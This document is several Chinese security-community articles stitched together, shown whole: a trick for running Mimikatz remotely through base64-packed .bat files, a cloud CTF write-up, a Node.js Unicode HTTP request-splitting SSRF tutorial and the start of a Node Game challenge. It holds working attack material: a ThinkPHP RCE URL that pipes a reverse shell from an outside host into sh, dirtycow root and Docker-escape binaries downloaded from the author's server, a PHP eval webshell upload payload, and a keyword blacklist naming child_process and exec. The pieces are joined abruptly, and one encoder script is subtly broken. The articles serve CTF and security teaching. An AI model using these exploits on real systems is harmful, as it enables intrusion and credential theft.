Empire这类工具能帮不少忙。但问题是，Windows系统默认打开了限制执行策略，这就造成在执行ps1脚本时出现问题。如果没有拿到admin权限，这就意味着你基本上只能执行一句话的PowerShell命令，命令长度有限制（cmd.exe中最长为8191个字符）。
绕过这种限制的一个方案是，想办法拿到目标主机的admin权限，然后通过`Set-ExecutionPolicy`命令解除PowerShell脚本执行限制。这是一个全局设置项，所以用完了别忘了给改回来。
另一个很棒的技巧是编写一个简单的命令进行“表达式求值”（evaluates
expression），然后有效地在内存中执行它。无论ps1脚本多大，您都可以执行整个脚本。下面是一个一句话下载powercat代码并执行的例子：
执行策略不适用于单行PowerShell脚本。我们还可以更进一步，从文件读取数据内容，执行它并运行我们的Payload。但为什么不能将这一过程自动化呢？对我来说，我正在寻找一种很轻松地在多台Windows机器上远程执行Invoke-Mimikatz.ps1脚本的方式。通过这种方式，可以免去这一系列繁琐的操作：通过`smbclient`上传脚本，运行`psexec`禁用执行策略，运行脚本本身，最后还要还原执行限制。
这个想法很简单。我们通过单个bat文件传递我们的Payload。PowerShell脚本被base64编码，并放置在bat脚本的注释中。注释之后是一个简单的一句话命令：读取相同的文件，解码我们的Payload并运行它。你可以使用python脚本将您喜爱的PowerShell脚本快速转换为bat文件。重申一次，执行策略并不重要，因为你只是执行了一个单行PowerShell命令。
生成的文件如下所示：
现在我们可以使用“-c”参数将此文件传递给psexec.py，并获取结果。现在，远程mimikatz就是一句话命令了，如果您想在目标域中大量收集凭据，则完全可以将其编写成脚本:)
更多mimikatz神技 – 在一个工作站上的启用多个RDP连接：
你可以在这里找到这个脚本 ：<https://github.com/artkond/bat-armor> | 社区文章 |
这次是首个基于真实云平台的云安全挑战赛，整个题目是提权和逃逸的不断尝试，总共有七个题目
比赛环境覆盖 APP,Docker,KVM 和 Pysical 各个层次，七个题目如下：
层次 | 任务
---|---
web 网页 | 测试题目一
APP | 题目 2(/tmp/flag.lev2.txt)
Docker | 题目 3(/root/flag.lev3.txt)
KVM | 题目 4(/tmp/flag.lev4.txt)
KVM | 题目 5(/root/flag.lev5.txt)
Physical | 题目 6(/tmp/flag.lev6.txt)
Physical | 题目 7(/root/flag.lev7.txt)
题目要求：
> 除测试题外，选手置身于一个模拟的云环境中，选手的任务就是从这个仅有的 web 接口，层层渗透，获得更高的权限，用于读取指定的 flag 文件。
### web 网页测试题目 1
首先 web 入口的题目的地址是
http://user0022:[email protected]:30022/public/index.php
打开后有个 base64 字符串，解码即可得到 flag
#### APP 题目 2
题目信息：
> 小明选了学校的 web 开发课程，学习了世界上最好的语言，女朋友想送他一本书作为生日礼物，她觉得《Thinking In
> PHP》不错，可惜有点贵。选手的任务是帮小明女朋友找到存放在 /tmp/flag.lev2.txt 中的优惠码。
可以知道题目地址是个 thinkphp 框架；直接 google 查找 thinkphp 漏洞，发现
<https://learnku.com/articles/21227> 的漏洞可以成功利用，利用方式如下：
http://121.12.172.119:30022//?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]= 需要执行的命令
通过这个漏洞反弹 shell，EXP 如下：
http://121.12.172.119:30022//?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=curl+https%3A%2F%2Fshell.now.sh%2F154.223.145.173%3A1337+%7C+sh
执行 `cat /tmp/flag.lev2.txt` 得到 flag：`flag{PHP_is_The_best_language_^^5578}`
### Docker 提权题目 3
题目描述
>
> 小明又选了一门《操作系统设计与原理》的课程，但是小明有个问题一直很疑惑，他区分不出特权用户和普通用户，选手能帮小明演示一下特权用户吗，例如帮小明读取一下存在
> /root/flag.lev3.txt 中的课后作业答案。
直接使用上面一步反弹 shell 是无法读取 `/root/flag.lev3.txt`，因为权限不够。通过 whoami 可以看到是 centos
用户，这个环节是需要提权。在服务器 /tmp 目录下下载 **linux-exploit-suggester.sh** ，通过执行得到如下信息：
sh ./linux-exploit-suggester.sh
…….
[+] [CVE-2017-16995] eBPF_verifier
[+] [CVE-2016-5195] dirtycow
[+] [CVE-2016-5195] dirtycow 2
服务器存在脏牛漏洞，使用
<https://gist.github.com/rverton/e9d4ff65d703a9084e85fa9df083c679> POC。
下载 cowroot.c，在自己的服务器编译
gcc cowroot.c -o cowroot -pthread
然后在 反弹shell 中下载
curl -O http://154.223.145.173:8080/cowroot
运行得到 root 的 shell，从而可以顺利读取 `/root/flag.lev3.txt` 文件得到
flag：flag{root_in_the_docker^^1256}
### Docker 逃逸题目 4
题目 4 的描述如下：
> 小明同学在获得了 root 权限之后，他认为自己获得了至高无上的权限，非常开心的在 Linux 的世界中畅游，直到他发现 /root/message
> 文件中写着这个世界的秘密。意识到自己只是在容器中游玩，小明非常想让选手帮他看一下外面的风景，例如帮小明读取一下存在容器外部
> /tmp/flag.lev4.txt 中的秘密。
读取 `/root.message`，其实没什么用就是告诉你：你在 Docker 里面，外面是 KVM 虚拟环境，需要选手逃逸 Docker。
没想到这题也是可以继续用脏牛 POC，<https://github.com/scumjr/dirtycow-vdso>，即利用 dirtycow
内核漏洞修改 vdso，对内核宿主机进程进行 hook，造成 docker 逃逸
在自己的服务器编译好，然后在目标机器执行：
curl http:// 你的服务器 IP/0xdeadbeef -o 0xdeadbeef
chmod +x 0xdeadbeef
./0xdeadbeef 你的服务器 IP: 端口
逃逸之后读取 `/tmp/flag.lev4.txt` 得到 flag：flag{jump_outsize_of_your_own^^3356}
### KVM 提权题目 5
题目描述：
>
> 小明同学已经被选手高超的技术所折服了，决定好好学习，励志从事信息安全行业，但是这时候交期末大作业的时候到了，小明尝试了多次还是做不出来。小明非常想让选手帮他读取一下
> /root/flag.lev5.txt 中的大作业答案。
这题本意是想考察提权，但是题目 4 的 Docker 逃逸出来的用户有 root 权限，直接可以查看 `/root/flag.lev5.txt` 得到
flag：flag{root_is_very_powerfull^^4987}
题目 6 和题目 7 好像没有队伍做出来，题目 7 应该是个 0day 了。
### 参考链接
<https://github.com/mtalbi/vm_escape>
<https://david942j.blogspot.com/2018/09/write-up-tokyowesterns-ctf-2018.html>
<https://github.com/perfectblue/ctf-writeups/blob/master/RealWorldCTF-2018/kidvm.md>
<https://opensource.com/article/18/5/how-find-ip-address-linux>
<https://gist.github.com/rverton/e9d4ff65d703a9084e85fa9df083c679> | 社区文章 |
# NodeJS 中 Unicode 字符损坏导致的 HTTP 拆分攻击
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
2018 年有研究者发现，当 Node.js 使用 `http.get` 向特定路径发出HTTP请求时，发出的请求实际上被定向到了不一样的路径！
深入研究一下，发现这个问题是由于 Node.js 将 HTTP 请求写入路径时，对 Unicode 字符的有损编码引起的。
## HTTP 请求路径中的 Unicode 字符损坏
虽然用户发出的 HTTP
请求通常将请求路径指定为字符串，但Node.js最终必须将请求作为原始字节输出。JavaScript支持unicode字符串，因此将它们转换为字节意味着选择并应用适当的Unicode编码。对于不包含主体的请求，Node.js默认使用“latin1”，这是一种单字节编码字符集，不能表示高编号的Unicode字符，例如🐶这个表情。所以，当我们的请求路径中含有多字节编码的Unicode字符时，会被截断取最低字节，比如
`\u0130` 就会被截断为 `\u30`：
## Unicode 字符损坏造成的 HTTP 拆分攻击
刚才演示的那个 HTTP 请求路径中的 Unicode 字符损坏看似没有什么用处，但它可以在 nodejs 的 HTTP 拆分攻击中大显身手。
由于 Nodejs 的 HTTP 库包含了阻止 CRLF 的措施，即如果你尝试发出一个 URL 路径中含有回车、换行或空格等控制字符的 HTTP
请求是，它们会被 URL 编码，所以正常的 CRLF 注入在 Nodejs 中并不能利用：
> var http = require("http");
> http.get('http://47.101.57.72:4000/\r\n/WHOAMI').output
[ 'GET /%0D%0A/WHOAMI HTTP/1.1\r\nHost: 47.101.57.72:4000\r\nConnection: close\r\n\r\n' ]
但不幸的是，上述的处理Unicode字符错误意味着可以规避这些保护措施。考虑如下的URL，其中包含一些高编号的Unicode字符：
> 'http://47.101.57.72:4000/\u{010D}\u{010A}/WHOAMI'
http://47.101.57.72:4000/čĊ/WHOAMI
当 Node.js v8 或更低版本对此URL发出 `GET` 请求时，它不会进行编码转义，因为它们不是HTTP控制字符：
> http.get('http://47.101.57.72:4000/\u010D\u010A/WHOAMI').output
[ 'GET /čĊ/WHOAMI HTTP/1.1\r\nHost: 47.101.57.72:4000\r\nConnection: close\r\n\r\n' ]
但是当结果字符串被编码为 latin1 写入路径时，这些字符将分别被截断为 “\r”（%0d）和 “\n”（%0a）：
> Buffer.from('http://47.101.57.72:4000/\u{010D}\u{010A}/WHOAMI', 'latin1').toString()
'http://47.101.57.72:4000/\r\n/WHOAMI'
可见，通过在请求路径中包含精心选择的Unicode字符，攻击者可以欺骗Node.js并成功实现CRLF注入。
不仅是CRLF，所有的控制字符都可以通过这个构造出来。下面是我列举出来的表格，第一列是需要构造的字符，第二列是可构造出相应字符的高编号的Unicode码，第三列是高编号的Unicode码对应的字符，第四列是高编号的Unicode码对应的字符的URL编码：
字符 | 可由以下Unicode编码构造出 | Unicode编码对应的字符 | Unicode编码对应的字符对应的URL编码
---|---|---|---
回车符 \r | \u010d | č | %C4%8D
换行符 \n | \u010a | Ċ | %C4%8A
空格 | \u0120 | Ġ | %C4%A0
反斜杠 \ | \u0122 | Ģ | %C4%A2
单引号 ‘ | \u0127 | ħ | %C4%A7
反引号 ` | \u0160 | Š | %C5%A0
叹号 ! | \u0121 | ġ | %C4%A1
这个bug已经在Node.js10中被修复，如果请求路径包含非Ascii字符，则会抛出错误。但是对于 Node.js v8
或更低版本，如果有下列情况，任何发出HTTP请求的服务器都可能受到通过请求拆实现的SSRF的攻击：
* 接受来自用户输入的Unicode数据
* 并将其包含在HTTP请求的路径中
* 且请求具有一个0长度的主体（比如一个 `GET` 或者 `DELETE`）
## 在 HTTP 状态行注入恶意首部字段
由于 NodeJS 的这个 CRLF 注入点在 HTTP 状态行，所以如果我们要注入恶意的 HTTP 首部字段的话还需要闭合状态行中 `HTTP/1.1`
，即保证注入后有正常的 HTTP 状态行：
> http.get('http://47.101.57.72:4000/\u0120HTTP/1.1\u010D\u010ASet-Cookie:\u0120PHPSESSID=whoami').output
[ 'GET /ĠHTTP/1.1čĊSet-Cookie:ĠPHPSESSID=whoami HTTP/1.1\r\nHost: 47.101.57.72:4000\r\nConnection: close\r\n\r\n' ]
如上图所示，成功构造出了一个 Set-Cookie 首部字段，虽然后面还有一个 `HTTP/1.1` ，但我们根据该原理依然可以将其闭合：
> http.get('http://47.101.57.72:4000/\u0120HTTP/1.1\u010D\u010ASet-Cookie:\u0120PHPSESSID=whoami\u010D\u010Atest:').output
[ 'GET /ĠHTTP/1.1čĊSet-Cookie:ĠPHPSESSID=whoamičĊtest: HTTP/1.1\r\nHost: 47.101.57.72:4000\r\nConnection: close\r\n\r\n' ]
这样，我们便可以构造 “任意” 的HTTP请求了。
## 在 HTTP 状态行注入完整 HTTP 请求
首先，由于 NodeJS 的这个 CRLF 注入点在 HTTP 状态行，所以如果我们要注入完整的 HTTP 请求的话需要先闭合状态行中 `HTTP/1.1`
，即保证注入后有正常的 HTTP 状态行。其次为了不让原来的 `HTTP/1.1` 影响我们新构造的请求，我们还需要再构造一次 `GET /` 闭合原来的
HTTP 请求。
假设目标主机存在SSRF，需要我们在目标主机本地上传文件。我们需要尝试构造如下这个文件上传的完整 POST 请求：
POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 437
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=nk67astv61hqanskkddslkgst4
Connection: close
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="MAX_FILE_SIZE"
100000
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: application/octet-stream
<?php eval($_POST["whoami"]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"
Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--
为了方便，我们将这个POST请求里面的所有的字符包括控制符全部用上述的高编号Unicode码表示：
payload = ''' HTTP/1.1
POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 437
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=nk67astv61hqanskkddslkgst4
Connection: close
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="MAX_FILE_SIZE"
100000
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: application/octet-stream
<?php eval($_POST["whoami"]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"
Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--
GET / HTTP/1.1
test:'''.replace("\n","\r\n")
def payload_encode(raw):
ret = u""
for i in raw:
ret += chr(0x0100+ord(i))
return ret
payload = payload_encode(payload)
print(payload)
# 输出: ĠňŔŔŐįıĮıčĊčĊŐŏœŔĠįŵŰŬůšŤĮŰŨŰĠňŔŔŐįıĮıčĊňůųŴĺĠıIJķĮİĮİĮıčĊŃůŮŴťŮŴĭŌťŮŧŴŨĺĠĴijķčĊŃůŮŴťŮŴĭŔŹŰťĺĠŭŵŬŴũŰšŲŴįŦůŲŭĭŤšŴšĻĠŢůŵŮŤšŲŹĽĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŕųťŲĭŁŧťŮŴĺĠōůźũŬŬšįĵĮİĠĨŗũŮŤůŷųĠŎŔĠıİĮİĻĠŗũŮĶĴĻĠŸĶĴĩĠŁŰŰŬťŗťŢŋũŴįĵijķĮijĶĠĨŋňŔōŌĬĠŬũūťĠŇťţūůĩĠŃŨŲůŭťįĹİĮİĮĴĴijİĮķIJĠœšŦšŲũįĵijķĮijĶčĊŁţţťŰŴĺĠŴťŸŴįŨŴŭŬĬšŰŰŬũţšŴũůŮįŸŨŴŭŬīŸŭŬĬšŰŰŬũţšŴũůŮįŸŭŬĻűĽİĮĹĬũŭšŧťįšŶũŦĬũŭšŧťįŷťŢŰĬũŭšŧťįšŰŮŧĬĪįĪĻűĽİĮĸĬšŰŰŬũţšŴũůŮįųũŧŮťŤĭťŸţŨšŮŧťĻŶĽŢijĻűĽİĮĹčĊŁţţťŰŴĭŅŮţůŤũŮŧĺĠŧźũŰĬĠŤťŦŬšŴťčĊŁţţťŰŴĭŌšŮŧŵšŧťĺĠźŨĭŃŎĬźŨĻűĽİĮĹčĊŃůůūũťĺĠŐňŐœŅœœʼnńĽŮūĶķšųŴŶĶıŨűšŮųūūŤŤųŬūŧųŴĴčĊŃůŮŮťţŴũůŮĺĠţŬůųťčĊčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŃůŮŴťŮŴĭńũųŰůųũŴũůŮĺĠŦůŲŭĭŤšŴšĻĠŮšŭťĽĢōŁŘşņʼnŌŅşœʼnŚŅĢčĊčĊıİİİİİčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŃůŮŴťŮŴĭńũųŰůųũŴũůŮĺĠŦůŲŭĭŤšŴšĻĠŮšŭťĽĢŵŰŬůšŤťŤĢĻĠŦũŬťŮšŭťĽĢųŨťŬŬĮŰŨŰĢčĊŃůŮŴťŮŴĭŔŹŰťĺĠšŰŰŬũţšŴũůŮįůţŴťŴĭųŴŲťšŭčĊčĊļĿŰŨŰĠťŶšŬĨĤşŐŏœŔśĢŷŨůšŭũĢŝĩĻĿľčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŃůŮŴťŮŴĭńũųŰůųũŴũůŮĺĠŦůŲŭĭŤšŴšĻĠŮšŭťĽĢŕŰŬůšŤĢčĊčĊŕŰŬůšŤčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶĭĭčĊčĊŇŅŔĠįĠňŔŔŐįıĮıčĊŴťųŴĺ
构造请求：
> http.get('http://47.101.57.72:4000/ĠňŔŔŐįıĮıčĊčĊŐŏœŔĠįŵŰŬůšŤĮŰŨŰĠňŔŔŐįıĮıčĊňůųŴĺĠıIJķĮİĮİĮıčĊŃůŮŴťŮŴĭŌťŮŧŴŨĺĠĴijķčĊŃůŮŴťŮŴĭŔŹŰťĺĠŭŵŬŴũŰšŲŴįŦůŲŭĭŤšŴšĻĠŢůŵŮŤšŲŹĽĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŕųťŲĭŁŧťŮŴĺĠōůźũŬŬšįĵĮİĠĨŗũŮŤůŷųĠŎŔĠıİĮİĻĠŗũŮĶĴĻĠŸĶĴĩĠŁŰŰŬťŗťŢŋũŴįĵijķĮijĶĠĨŋňŔōŌĬĠŬũūťĠŇťţūůĩĠŃŨŲůŭťįĹİĮİĮĴĴijİĮķIJĠœšŦšŲũįĵijķĮijĶčĊŁţţťŰŴĺĠŴťŸŴįŨŴŭŬĬšŰŰŬũţšŴũůŮįŸŨŴŭŬīŸŭŬĬšŰŰŬũţšŴũůŮįŸŭŬĻűĽİĮĹĬũŭšŧťįšŶũŦĬũŭšŧťįŷťŢŰĬũŭšŧťįšŰŮŧĬĪįĪĻűĽİĮĸĬšŰŰŬũţšŴũůŮįųũŧŮťŤĭťŸţŨšŮŧťĻŶĽŢijĻűĽİĮĹčĊŁţţťŰŴĭŅŮţůŤũŮŧĺĠŧźũŰĬĠŤťŦŬšŴťčĊŁţţťŰŴĭŌšŮŧŵšŧťĺĠźŨĭŃŎĬźŨĻűĽİĮĹčĊŃůůūũťĺĠŐňŐœŅœœʼnńĽŮūĶķšųŴŶĶıŨűšŮųūūŤŤųŬūŧųŴĴčĊŃůŮŮťţŴũůŮĺĠţŬůųťčĊčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŃůŮŴťŮŴĭńũųŰůųũŴũůŮĺĠŦůŲŭĭŤšŴšĻĠŮšŭťĽĢōŁŘşņʼnŌŅşœʼnŚŅĢčĊčĊıİİİİİčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŃůŮŴťŮŴĭńũųŰůųũŴũůŮĺĠŦůŲŭĭŤšŴšĻĠŮšŭťĽĢŵŰŬůšŤťŤĢĻĠŦũŬťŮšŭťĽĢųŨťŬŬĮŰŨŰĢčĊŃůŮŴťŮŴĭŔŹŰťĺĠšŰŰŬũţšŴũůŮįůţŴťŴĭųŴŲťšŭčĊčĊļĿŰŨŰĠťŶšŬĨĤşŐŏœŔśĢŷŨůšŭũĢŝĩĻĿľčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŃůŮŴťŮŴĭńũųŰůųũŴũůŮĺĠŦůŲŭĭŤšŴšĻĠŮšŭťĽĢŕŰŬůšŤĢčĊčĊŕŰŬůšŤčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶĭĭčĊčĊŇŅŔĠįĠňŔŔŐįıĮıčĊŴťųŴĺ')
如上图所示，成功构造出了一个文件上传的POST请求，像这样的POST请求可以被我们用于 SSRF。
但是有一个问题，就是当我们将这个请求包里面的所有的字符包括控制字符全部用高编号Unicode码表示的话，最终生成的 Payload
的长度可能会过长，有对于有些服务器来说，如果我们请求的 URL 长度超过了限制的长度之后会报错。而且有的题目还需要对 Payload 进行 URL
编码甚至二次或三次编码，这样 Payload 的长度就更长了，所以我们还是建议只将那些控制字符用高编号Unicode编码就行了。编写新的 Payload
转换脚本：
payload = ''' HTTP/1.1
POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 437
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=nk67astv61hqanskkddslkgst4
Connection: close
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="MAX_FILE_SIZE"
100000
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: application/octet-stream
<?php eval($_POST["whoami"]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"
Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--
GET / HTTP/1.1
test:'''.replace("\n","\r\n")
payload = payload.replace('\r\n', '\u010d\u010a') \
.replace('+', '\u012b') \
.replace(' ', '\u0120') \
.replace('"', '\u0122') \
.replace("'", '\u0a27') \
.replace('[', '\u015b') \
.replace(']', '\u015d') \
.replace('`', '\u0127') \
.replace('"', '\u0122') \
.replace("'", '\u0a27') \
.replace('[', '\u015b') \
.replace(']', '\u015d') \
print(payload)
# 输出: ĠHTTP/1.1čĊčĊPOSTĠ/upload.phpĠHTTP/1.1čĊHost:Ġ127.0.0.1čĊContent-Length:Ġ437čĊContent-Type:Ġmultipart/form-data;Ġboundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6čĊUser-Agent:ĠMozilla/5.0Ġ(WindowsĠNTĠ10.0;ĠWin64;Ġx64)ĠAppleWebKit/537.36Ġ(KHTML,ĠlikeĠGecko)ĠChrome/90.0.4430.72ĠSafari/537.36čĊAccept:Ġtext/html,application/xhtmlīxml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9čĊAccept-Encoding:Ġgzip,ĠdeflatečĊAccept-Language:Ġzh-CN,zh;q=0.9čĊCookie:ĠPHPSESSID=nk67astv61hqanskkddslkgst4čĊConnection:ĠclosečĊčĊ------WebKitFormBoundaryjDb9HMGTixAA7Am6čĊContent-Disposition:Ġform-data;Ġname=ĢMAX_FILE_SIZEĢčĊčĊ100000čĊ------WebKitFormBoundaryjDb9HMGTixAA7Am6čĊContent-Disposition:Ġform-data;Ġname=ĢuploadedĢ;Ġfilename=Ģshell.phpĢčĊContent-Type:Ġapplication/octet-streamčĊčĊ<?phpĠeval($_POSTśĢwhoamiĢŝ);?>čĊ------WebKitFormBoundaryjDb9HMGTixAA7Am6čĊContent-Disposition:Ġform-data;Ġname=ĢUploadĢčĊčĊUploadčĊ------WebKitFormBoundaryjDb9HMGTixAA7Am6--čĊčĊGETĠ/ĠHTTP/1.1čĊtest:
其实主要就是将 `\r\n` 和空格进行编码，其他的字符如果是题目对他们做了过滤也可以自己加进去。最好是将所有的控制字符全部编码。
下面我们分析一下整个攻击的过程。
原始请求数据如下：
GET / HTTP/1.1
Host: 47.101.57.72:4000
当我们插入CRLF数据后，HTTP请求数据变成了：
GET / HTTP/1.1
POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 437
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
......
<?php eval($_POST["whoami"]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"
Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--
HTTP/1.1
Host: 47.101.57.72:4000
上次请求包的Host字段和状态行中的 `HTTP/1.1` 就单独出来了，所以我们再构造一个请求把他闭合：
GET / HTTP/1.1
POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 437
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
......
<?php eval($_POST["whoami"]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"
Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--
GET / HTTP/1.1
test: HTTP/1.1
Host: 47.101.57.72:4000
## [GYCTF2020]Node Game
进入题目：
“Only admin can use this”进去之后是一个文件上传页面，但是只有admin才能上传文件：
“Click here to get the source” 可以查看源码：
var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path');
var http = require('http');
var pug = require('pug');
var morgan = require('morgan'); // morgan是express默认的日志中间件
const multer = require('multer'); // Multer是nodejs中处理multipart/form-data数据格式(主要用在上传功能中）的中间件。该中间件不处理multipart/form-data数据格式以外的任何形式的数据
app.use(multer({dest: './dist'}).array('file'));
app.use(morgan('short'));
app.use("/uploads",express.static(path.join(__dirname, '/uploads')))
app.use("/template",express.static(path.join(__dirname, '/template')))
app.get('/', function(req, res) {
var action = req.query.action?req.query.action:"index";
if( action.includes("/") || action.includes("\\") ){ // action中不能含有/或\\字符
res.send("Errrrr, You have been Blocked");
}
file = path.join(__dirname + '/template/'+ action +'.pug');
var html = pug.renderFile(file); // 渲染pug模板引擎
res.send(html);
});
app.post('/file_upload', function(req, res){
var ip = req.connection.remoteAddress;
var obj = {
msg: '',
}
if (!ip.includes('127.0.0.1')) { // remoteAddress必须是本地IP,所以需要进行ssrf
obj.msg="only admin's ip can use it"
res.send(JSON.stringify(obj)); // JSON.stringify() 方法用于将 JavaScript 值转换为 JSON 字符串。
return
}
fs.readFile(req.files[0].path, function(err, data){
if(err){
obj.msg = 'upload failed';
res.send(JSON.stringify(obj));
}else{
var file_path = '/uploads/' + req.files[0].mimetype +"/";
var file_name = req.files[0].originalname
var dir_file = __dirname + file_path + file_name // /uploads/mimetype/filename.ext, 这里可通过mimetype进行目录穿越
if(!fs.existsSync(__dirname + file_path)){ // 以同步的方法检测目录是否存在
try {
fs.mkdirSync(__dirname + file_path) // 如果目录不存在则创建目录
} catch (error) {
obj.msg = "file type error";
res.send(JSON.stringify(obj));
return
}
}
try {
fs.writeFileSync(dir_file,data) // 将要上传的文件写入文件到指定的目录中(实现文件上传)
obj = {
msg: 'upload success',
filename: file_path + file_name
}
} catch (error) {
obj.msg = 'upload failed';
}
res.send(JSON.stringify(obj));
}
})
})
app.get('/source', function(req, res) {
res.sendFile(path.join(__dirname + '/template/source.txt'));
});
app.get('/core', function(req, res) {
var q = req.query.q;
var resp = ""; // 用来接收请求的数据
if (q) {
var url = 'http://localhost:8081/source?' + q
console.log(url)
var trigger = blacklist(url);
if (trigger === true) {
res.send("<p>error occurs!</p>");
} else {
try {
http.get(url, function(resp) {
resp.setEncoding('utf8');
resp.on('error', function(err) {
if (err.code === "ECONNRESET") {
console.log("Timeout occurs");
return;
}
});
resp.on('data', function(chunk) {
try {
resps = chunk.toString();
res.send(resps);
}catch (e) {
res.send(e.message);
}
}).on('error', (e) => {
res.send(e.message);});
});
} catch (error) {
console.log(error);
}
}
} else {
res.send("search param 'q' missing!");
}
})
function blacklist(url) { // 检测url中的恶意字符,检测到的返回true。可以通过字符串拼接绕过。
var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
var arrayLen = evilwords.length;
for (var i = 0; i < arrayLen; i++) {
const trigger = url.includes(evilwords[i]);
if (trigger === true) {
return true
}
}
}
var server = app.listen(8081, function() {
var host = server.address().address
var port = server.address().port
console.log("Example app listening at http://%s:%s", host, port)
})
大概看一下几个路由：
* /：会包含/template目录下的一个pug模板文件并用pub模板引擎进行渲染
* /source：回显源码
* /file_upload：限制了只能由127.0.0.1的ip将文件上传到uploads目录里面，所以需要进行ssrf。并且我们可以通过控制mimetype进行目录穿越，从而将文件上传到任意目录。
* /core：通过q向内网的8081端口传参，然后获取数据再返回外网，并且对url进行黑名单的过滤，但是这里的黑名单可以直接用字符串拼接绕过。
